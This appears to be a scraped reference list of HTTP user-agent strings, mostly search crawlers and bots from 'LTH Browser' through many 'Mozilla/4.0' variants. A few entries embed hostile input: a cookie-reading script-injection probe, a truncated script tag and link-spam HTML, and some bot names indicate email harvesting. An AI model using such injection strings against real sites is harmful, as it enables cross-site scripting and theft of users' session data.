(compatible; mozilla; Windows NT 5.1; SV1; http://www.learntohack.nil; .NET CLR 1.1.4322; http://www.l... LTH Browser/3.02a LTH Browser/3.02a (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) LTH Browser/3.02a (http://www.learntohack.nil) LTH Browsery\3.02a (Windows NT 5.1; U) LTI/LemurProject Nutch Spider/Nutch-1.0-dev (lti crawler for CMU; http://www.lti.cs.cmu.edu; changkuk at cmu dot edu) LTI/LemurProject Nutch Spider/Nutch-1.0-dev (Research spider using Nutch; http://lucene.apache.org/nutch/bot.html; admin... luchs.at URL checker LucidMedia ClickSense/4.0 LucidMedia ClickSense/4.0 (support@lucidmedia.com; http://www.lucidmedia.com/) lwp-request/2.06 lwp-request/2.07 lwp-request/5.810 lwp-request/5.834 libwww-perl/5.834 lwp-trivial/1.35 lwp-trivial/1.36 lwp-trivial/1.38 lwp-trivial/1.40 lwp-trivial/1.41 lwp-trivial/5.810 LWP::Simple/5.75 LWP::Simple/5.800 LWP::Simple/5.803 LWP::Simple/5.812 LWP::Simple/5.814 LWP::Simple/5.827 libwww-perl/5.828 LWP::Simple/5.827 libwww-perl/5.830 LWP::Simple/5.827 libwww-perl/5.831 LWP::Simple/5.827 libwww-perl/5.833 LWP::Simple/5.827 libwww-perl/5.834 LWP::Simple/5.835 libwww-perl/5.836 LWP::Simple/5.835 libwww-perl/5.837 Lycos_Spider_(modspider) Lynx/2.8 (;http://seebot.org) magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net) Mahalobot/1.0 (+http://www.mahalo.com/) Mail Harvester Mail.Ru/1.0 MakeMyReport.com Search Engine - http://www.makemyreport.com male.com.sg/Nutch-1.1 (http://www.male.com.sg; crawler@male.com.sg) MalleHenkie/2.0.0.3a MalleHenkie/3.0.1.20a Manav/Nutch-0.9 (1.0; manavraman at yahoo dot com) Manav/Nutch-1.0-dev (1.0; manavraman at yahoo dot com) Mapy::Spider 0.01 mars/0.1 (+macrothela) mars/1.0 (+macrothela) mars\0.1 (+macrothela) martin/0.1 (+http://bot.macrothela.net) Martin/Nutch-1.0 (Nutch spiderman; MyEmail) MaSagool/1.0 (MaSagool; http://sagool.jp/) MaSagool/Mozilla/5.0 (MaSagool; http://sagool.jp/) masidani_bot_v0.3 info@masidani.com maui UNTRUSTED/1.0/AJSC/1.5 McBot/5.001 (windows; U; NT4.0; en-us) MCT Spider (TM) 2025 MDbot/1.0 (+http://www.megadownload.net/bot.html) MECOM-IndexBot/1.1 Mediapartners-Google Mediapartners-Google (via babelfish.yahoo.com) Mediapartners-Google,gzip(gfe) AppEngine-Google; (+http://code.google.com/appengine; appid: ccnaforyou) Mediapartners-Google,gzip(gfe) AppEngine-Google; (+http://code.google.com/appengine; appid: go2-jp2) Mediapartners-Google,gzip(gfe) AppEngine-Google; (+http://code.google.com/appengine; appid: ivoluntarily) Mediapartners-Google/2.1 Mediapartners-Google/2.1 (+http://www.googlebot.com/bot.html) Mediapartners-Google/PHP-proxy [phpdown Ver. 2.2.6] MEGAUPLOAD 1.0 Megite2.0 (http://www.megite.com) Mercurius.exe mercury/Nutch-1.2 Meta Offline Explorer MetaGeneratorCrawler/1.1 (www.metagenerator.info) MetaGer_PreChecker0.1 Metasearch Crawler/1.0 Metaspinner/0.01 (Metaspinner; http://www.meta-spinner.de/; support@meta-spinner.de/) Metaspinner/0.01 (Metaspinner; http://www.meta-spinner.de/; support@meta-spinner.de/)" Metaspinner/1.0 (Metaspinner Search Engine; http://www.meta-spinner.de/; support@meta-spinner.de) MetaTagRobot/1.9 (http://www.widexl.com/remote/search-engines/metatag-analyzer.html) metatagsdir/0.7 (+http://metatagsdir.com/directory/) MetaURI API +metauri.com MetaURI API/2.0 +metauri.com MFC_Tear_Sample MicroAd/1.0 (http://www.microad.jp/) MicroCosmoTalk (R)(C)® Spider 0.01 MicroCosmoTalk ® Spider 0.01 MicroCosmoTalk(TM) Spider Microsoft Bing Mobile SocialStreams Bot Microsoft Data Access Internet Publishing Provider Cache Manager Microsoft Data Access Internet Publishing Provider DAV Microsoft Data Access Internet Publishing Provider DAV 1.1 Microsoft Data Access Internet Publishing Provider DAV 1.2 Microsoft Data Access Internet Publishing Provider Protocol Discovery Microsoft Local Search Bot Microsoft MSN SocialStreams Bot Microsoft Office Existence Discovery Microsoft Small Business Indexer Microsoft URL Control - 6.00.8169 Microsoft URL Control - 6.00.8169, DynaWeb http://www.dit-inc.us/disclaimer.php Microsoft URL Control - 6.00.8862 Microsoft URL Control - 6.00.8862, DynaWeb http://www.dit-inc.us/disclaimer.php Microsoft URL Control - 6.00.8877 Microsoft URL Control - 6.01.9782 Microsoft URL Control - 6.01.9816 Microsoft Windows Network Diagnostics Microsoft-WebDAV-MiniRedir/5.1.2600 Microsoft-WebDAV-MiniRedir/6.0.6002 MicroStation Web Links Microwave Oven MidnightBowling/1.1.6 CFNetwork/339.3 Darwin/9.4.1 MiL-Scavenger minicrawler miniRank/2.0 (miniRank; http://minirank.com/; website ranking engine) Missigua Locator 1.9 Mister Pix II 2.10 Mister Pix II 2.15 Mister Wong-Bot/1.0 (http://www.mister-wong.de) mixi-crawler/2.00 (http://mixi.jp/) MJ12bot (mini)/1.0.0 (DIRECT SUBMIT VERSION!) (http://majestic12.co.uk/bot.php? ) MJ12bot (mini)/1.0.0 (DIRECT SUBMIT VERSION!) (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.0.0 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.0.1 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.0.2 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.0.3 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.0.4 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.0.5 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.0.6 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.1.0 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.1.1 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.1.2 (http://majestic12.co.uk/bot.php?+) MJ12bot/v1.2.0 (http://majestic12.co.uk/bot.php?+) MLBot (www.metadatalabs.com) MLBot (www.metadatalabs.com/mlbot) mmcrawler/Nutch-1.0 (MM Robots; http://; lindaoi1@hotmail.com) MMHttp (Windows; Version:8.0.2) Mnogosearch-3.1.21 MnoGoSearch/3.2.40 MnoGoSearch/3.3.4 MnoGoSearch/3.3.9 Mobitype mobile content integrator, http://mobitype.com (compatible; Mozilla/4.0; MSIE 6.0; Windows NT 5.0;) moeenbot Mofdala Bot http://www.mofdala.com MojeekBot/0.2 (archi; http://www.mojeek.com/bot.html) MoJoBot/0.1 libwww-perl/5.805 Moreoverbot/5.00 (+http://www.moreover.com) Moreoverbot/5.00 (+http://www.moreover.com; webmaster@moreover.com) Moreoverbot/5.1 (+http://w.moreover.com; webmaster@moreover.com) Mozilla/5.0 Morfeus badbot Morpheus Fucking Scanner Most Excellent Browser MOT-A-2B/01.07 UP.Browser/4.1.27a1 UP.Link/6.2.3.19.0 Motoricerca-Robots.txt-Checker/1.0 (http://tool.motoricerca.info/robots-checker.phtml) MovableType/4.23 MovableType/x.x Mozilla (compatible; not MSIE; neither AppleWebKit or Gecko or Opera; certainly not Windows 6.0 nor other version nor L... Mozilla /5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Mozilla 4.0 - GetMeLinked Spider www.GetMeLinked.com Web Directory Mozilla crawl/5.0 (compatible; fairshare.cc +http://fairshare.cc) Mozilla crawl/5.0 (compatible; frt/1.13.2 +http://www..com) Mozilla/2.0 (compatible; Ask Jeeves/Teoma) Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http:/ Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml) Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/te Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html) Mozilla/3.0 (compatible) Diamond ICT Zoekbot; 1.0; TEST; Mozilla/3.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Mozilla/3.0 (compatible; ScollSpider; http://www.webwobot.com) Mozilla/3.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/slurp.html) mozilla/3.0(compatible;Googlebot/2.1;+http://www.google.com/bot.html) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; adcig74 <a href="http://irongeek.com"&g... Mozilla/4.0 (ActiveTouristBot V1.2 ;http://www.activetourist.com) Mozilla/4.0 (ActiveTouristBot; http://www.activetourist.com ) Mozilla/4.0 (compatible; [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionInternet Settings5.0User Agent] @=&am... Mozilla/4.0 (compatible; Macintosh; U; PPC Mac OS X Mach-O; rv:1.7.5; Gecko/20041201 Camino/0.8.0; SpiderWebb 7.0; Moz... Mozilla/4.0 (compatible; Vagabondo/2.3; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/) Mozilla/4.0 (compatible; Vagabondo/4.0; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/; http://www.wise-... Mozilla/4.0 (compatible; Vagabondo/4.0Beta; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/; http://www.w... Mozilla/4.0 (compatible; +http://housewaresnhome.info/g5ln1) <a href=http://housewaresnhome.info/c5ln1>hom... Mozilla/4.0 (compatible; bmdspider; windows 5.1) Mozilla/4.0 (compatible; bogospider; Linux) Mozilla/4.0 (compatible; BOTW Spider; +http://botw.org) Mozilla/4.0 (compatible; DepSpid/5.07; +http://about.depspid.net) Mozilla/4.0 (compatible; DepSpid/5.21; +http://about.depspid.net) Mozilla/4.0 (compatible; DepSpid/5.26; +http://about.depspid.net) Mozilla/4.0 (compatible; DepSpid/5.27; +http://about.depspid.net) Mozilla/4.0 (compatible; DepSpid/5.28; +http://about.depspid.net) Mozilla/4.0 (compatible; focuseekbot) Mozilla/4.0 (compatible; Googlebot/2.1 (+http://www.googlebot.com/bot.html); Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR... Mozilla/4.0 (compatible; Googlebot/2.1+(+http://www.google.com/bot.html); Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3... Mozilla/4.0 (compatible; googlebot/2.1; +http://www.google.com/bot.html) Mozilla/4.0 (compatible; Googlebot/2.1; +http:www.google.com/bot.html) Mozilla/4.0 (compatible; GPU p2p crawler http://gpu.sourceforge.net/search_engine.php) Mozilla/4.0 (compatible; grub-client-1.0.5; Crawl your own stuff with http://grub.org) Mozilla/4.0 (compatible; grub-client-1.3.7; Crawl your own stuff with http://grub.org) Mozilla/4.0 (compatible; grub-client-1.4.3; Crawl your own stuff with http://grub.org) Mozilla/4.0 (compatible; grub-client-1.4.3; Crawl your own stuff with http://grub.org) Mozilla/4.0 (compatible; grub-cli... Mozilla/4.0 (compatible; grub-client-1.5.3; Crawl your own stuff with http://grub.org) Mozilla/4.0 (compatible; grub-client-2.3) Mozilla/4.0 (compatible; grub-client-2.6.0) Mozilla/4.0 (compatible; grub-client-2.6.1) Mozilla/4.0 (compatible; http://www.2ndhive.com/beebot) Mozilla/4.0 (compatible; Inspyder-Crawler; http://www.inspyder.com) Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; SPV M700; OpVer 19.123.2.733) OrangeBot-Mobile 2008.0 (mob... Mozilla/4.0 (compatible; MSIE 4.01; Windows NT; MS Search 5.0 Robot) Mozilla/4.0 (compatible; MSIE 4.01; Windows NT; MS Search 6.0 Robot) Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot BETA Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) VoilaBot BETA 1.2 (http://www.voila.com/) Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Girafabot; girafabot at gira Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Girafabot; girafabot at girafa dot com; http://www.girafa.com) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; DomainDB-1.0; http://domaindb.com/crawler) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; DomainDB-1.1; http://domaindb.com/crawler/) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; DomainGoat-1.0; http://domaingoat.com/crawler) Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; FeedFinder-2.0; http://bloggz.se/crawler) Mozilla/4.0 (compatible; MSIE 5.5; SuperSpider/139; Windows 98; Win 9x 4.90) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; obot) Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; mowserbot; http://www.mowser.com/bot) Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows 98; )<HTML><A%20HREF="http://www.pghco... Mozilla/4.0 (compatible; MSIE 6.0; LaBot) Mozilla/4.0 (compatible; MSIE 6.0; Windows 5.1; KyoHTTP 1.1.26, http://www.Link-Checker-Pro.com) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; snprtz\|S04020195552712; PeoplePal 3.0; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; BOTW) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 4.0; Girafabot; girafabot at girafa dot com; http://www.girafa.com) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; BOTW) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; BOTW; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; CIBA; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; fr_crawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ODP entries test; http://tuezilla.de/test-odp-entries-agent.html) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Shadow Labs E-mail Spider @ webrobber.org) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; spamrobot@126.com) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;.NET CLR 1.0.3705; ContextAd Bot 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET C... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET C... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 5.1; .NET C... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 6.0; SLCC1;... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (+http://www.googlebot.com/bot.html; MSIE 7.0; Windows NT 6.0; SLCC1;... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) (+http://www.googlebot.com/bot.html; MSIE 8.0; Windows NT 5.1; Triden... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; )<HTML><A%20HREF="http://www.pghconnect... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; <b>gatcha-robot</b>) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; <b>hactha-robot</b>) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; BOTW; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; BOTW; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; CollapsarWEB qihoobot@qihoo.net) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Crayon Crawler; SV1; SpamBlockerUtility 4.7.1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.01/Nutch-0.8.1 (http://lucene.apache.org/nutch/about.html... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.01/Nutch-0.9 (http://lucene.apache.org/nutch/about.html; ... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; http://help.yahoo.com/help/us/ysearch/slurp) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Infocrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Infocrawler; FunWebProducts; SV1) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MakeBelieveBot/2.0 http://www.socialanxietysupport.com/index.php) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mirar Search Indexing Agent see getmirar.com) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Netcraft SSL Server Survey - contact abuse@netcraft.com) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50 AppEngine-Google; (+http://code.google.com/appengine; ... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Sgrunt\|V109\|19\|S2029293198\|dial; snprtz\|S04673981400019; <a hr... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: 1bl... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: app... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: can... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: che... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: cno... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: d10... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: dea... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: dea... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: dec... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: den... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: ftm... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: gir... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: gkk... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: hua... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: huo... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: lun... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: mil... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: ove... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: pip... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: ppd... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: pro... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: qin... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: shi... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: sjt... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: sle... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: sma... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: tou... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: tup... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: way... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: xin... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: xmx... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: ymr... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: yon... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: zha... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) AppEngine-Google; (+http://code.google.com/appengine; appid: zhu... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.5... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; Googlebot) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; Googlebot) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; Googlebot; .NET CLR 2.0.50... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; <a href=http://browsezilla.org>Browsezilla<... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; CrystalSemanticsBot http://www.crystalsemantics.com/service-navi... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FDM; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; MSIECrawler) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iSense bot v1.21) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; LocoySpider; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET C... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; T312461; <a href=http://www.artabus.com>Artabus<... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50215; baiduspider) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322; AdSonar Bot) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .... Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; Girafabot [girafa.com]) Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot) Mozilla/4.0 (compatible; MSIE 7.0; +http://www.google.com/bot.html; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; acedo crawler extension) Mozilla/4.0 (compatible; MSIE 7.0; AOL 8.0; Windows NT 5.1; Crayon Crawler; GTB5; SpamBlockerUtility 4.8.4; .NET CLR 2.0... Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.0.3705; Googlebot) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NE... Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0),gzi... Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; Version; Platform; <script>document... Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; <a href=http://browsezilla.org>Browsezilla</a&am... Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; BOT EFS Web Portal; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3... Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; livebot-searchsense/0.1; +http://search.msn.com/msnbot.htm) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; StummBot; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0, Spider) Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322) Igrayka.info <a href=http://igrayka.info&a... Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)<script>alert(document.cookie)</script> Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; {CEE7196D-48A5-5D6F-E968-C530CD7AB69B}; GTB5; oops there... Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB0.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; ... Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR ... Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) AppEngine-Google; (+http://code.google.com/appengine; appid: nokianoe... Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) AppEngine-Google; (+http://code.google.com/appengine; appid: spider-u... Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR ... Mozilla/4.0 (compatible; MSIE enviable; DAUMOA 2.0; DAUM Web Robot; Daum Communications Corp., Korea; +http://ws.daum.ne... Mozilla/4.0 (compatible; MSIE enviable; DAUMOA/1.0.1; DAUM Web Robot; Daum Communications Corp., Korea; +http://ws.daum.... Mozilla/4.0 (compatible; MSIE is not me; DAUMOA/1.0.0; DAUM Web Robot; Daum Communications Corp., Korea) Mozilla/4.0 (compatible; MSIE is not me; DAUMOA/1.0.1; DAUM Web Robot; Daum Communications Corp., Korea) Mozilla/4.0 (compatible; MSIE is not me; EDI/1.6.6; Edacious & Intelligent Web Robot; Daum Communications Corp., Kor... Mozilla/4.0 (compatible; MyFamilyBot/1.0; http://www.ancestry.com/learn/bot.aspx) Mozilla/4.0 (compatible; MyFamilyBot/1.0; http://www.ancestry.com/learn/bot.aspx; SearchBot@MyFamilyInc.com) Mozilla/4.0 (compatible; MyFamilyBot/1.0; http://www.myfamilyinc.com) Mozilla/4.0 (compatible; NaverBot/1.0; http://help.naver.com/customer_webtxt_02.jsp) Mozilla/4.0 (compatible; NaverBot/1.0; http://help.naver.com/delete_main.asp) Mozilla/4.0 (compatible; NaverBot/1.0; nhnbot@naver.com) Mozilla/4.0 (compatible; Netcraft Web Server Survey) Mozilla/4.0 (compatible; Rapleafbot/1.0; +http://www.rapleaf.com/contact.html;) Mozilla/4.0 (compatible; Scumbot/5.5; Linux/2.6) Mozilla/4.0 (compatible; smartBot/1.0; checking links; +http://www.botsvsbrowsers.com/SimulateUserAgent.asp) Mozilla/4.0 (compatible; T-H-U-N-D-E-R-S-T-O-N-E) Mozilla/4.0 (compatible; voodoo-it/6.0; http://www.voodoo-it.com/spider.html) Mozilla/4.0 (compatible; webcrawler/1.0) Mozilla/4.0 (JemmaTheTourist;http://www.activtourist.com) Mozilla/4.0 (MobilePhone SCP-5500/US/1.0) NetFront/3.0 MMP/2.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.ht... Mozilla/4.0 (Mozilla; http://www.mozilla.org/docs/en/bot.html; master@mozilla.com) Mozilla/4.0 (MSIE 6.5; Windows NT 6.5; x64) WebKit/4.2 Avatar/2.8 AppEngine-Google; (+http://code.google.com/appengine; 